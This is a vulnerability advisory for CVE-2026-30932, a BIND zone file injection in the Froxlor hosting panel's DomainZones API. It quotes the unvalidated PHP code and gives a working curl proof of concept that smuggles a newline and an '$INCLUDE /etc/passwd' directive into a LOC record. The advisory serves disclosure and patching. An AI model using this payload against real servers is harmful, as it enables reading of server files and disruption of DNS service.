Froxlor is vulnerable to BIND zone file injection via unsanitized DNS record content in DomainZones API
The DomainZones.add API endpoint (accessible to customers with DNS enabled) does not validate the content field for several DNS record types (LOC, RP, SSHFP, TLSA). An attacker can inject newlines and BIND zone file directives (e.g. $INCLUDE) into the zone file that gets written to disk when the DNS rebuild cron job runs.
lib/Froxlor/Api/Commands/DomainZones.php, lines 213-214, 253-254, 290-291, 292-293:
```php
} elseif ($type == 'LOC' && !empty($content)) {
$content = $content; // no validation
} ...
} elseif ($type == 'RP' && !empty($content)) {
$content = $content; // no validation
} ...
} elseif ($type == 'SSHFP' && !empty($content)) {
$content = $content; // no validation
} elseif ($type == 'TLSA' && !empty($content)) {
$content = $content; // no validation
}
```
There is even a TODO comment at line 148 acknowledging this gap:
```php
// TODO regex validate content for invalid characters
```
The content is then written directly into the BIND zone file via DnsEntry::__toString() (line 83 of lib/Froxlor/Dns/DnsEntry.php):
```php
return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t" ... . $_content . PHP_EOL;
```
And the zone file is written to disk in lib/Froxlor/Cron/Dns/Bind.php line 121:
```php
fwrite($zonefile_handler, $zoneContent . $subzones);
```
As a customer with DNS management enabled and an API key, add a LOC record with injected BIND directives:
```bash
curl -s -u "API_KEY:API_SECRET" \
-H 'Content-Type: application/json' \
-d '{"command":"DomainZones.add","params":{"domainname":"example.com","type":"LOC","content":"0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd"}}' \
https://panel.example.com/api.php
```
Alternatively via the web UI, intercept the DNS editor form POST and set dns_content to 0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd and dns_type to LOC.
After the DNS rebuild cron runs, the resulting zone file at {bindconf_directory}/domains/example.com.zone will contain:
```
@ 18000 IN LOC 0 0 0 N 0 0 0 E 0
$INCLUDE /etc/passwd
```
BIND will process the $INCLUDE directive and attempt to parse /etc/passwd as zone data. While most lines will fail to parse as valid records, the file content is readable by the BIND process (running as bind/named user), confirming file existence and potentially leaking parseable lines as DNS records.
1. Information Disclosure: The $INCLUDE directive lets a customer read world-readable files on the server through the DNS subsystem. The zone content (including included files) is visible to the customer via the DomainZones.get API call or the DNS editor in the web UI.
2. DNS Service Disruption: Malformed zone content can cause BIND to fail to load the zone, causing DNS outage for the affected domain. Injecting $GENERATE directives could create massive record sets for amplification attacks.
3. Zone Data Manipulation: Arbitrary DNS records can be injected by breaking out of the current record line with newlines, allowing the customer to create records that were not intended.
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE-2026-30932 is classified as CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'). The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or…
CVE-2026-30932 is recorded against 2 packages.
Published on 24 March 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.
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froxlor has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| froxlor | — | 2.3.5 |
| froxlor/froxlor | — | 2.3.5 |
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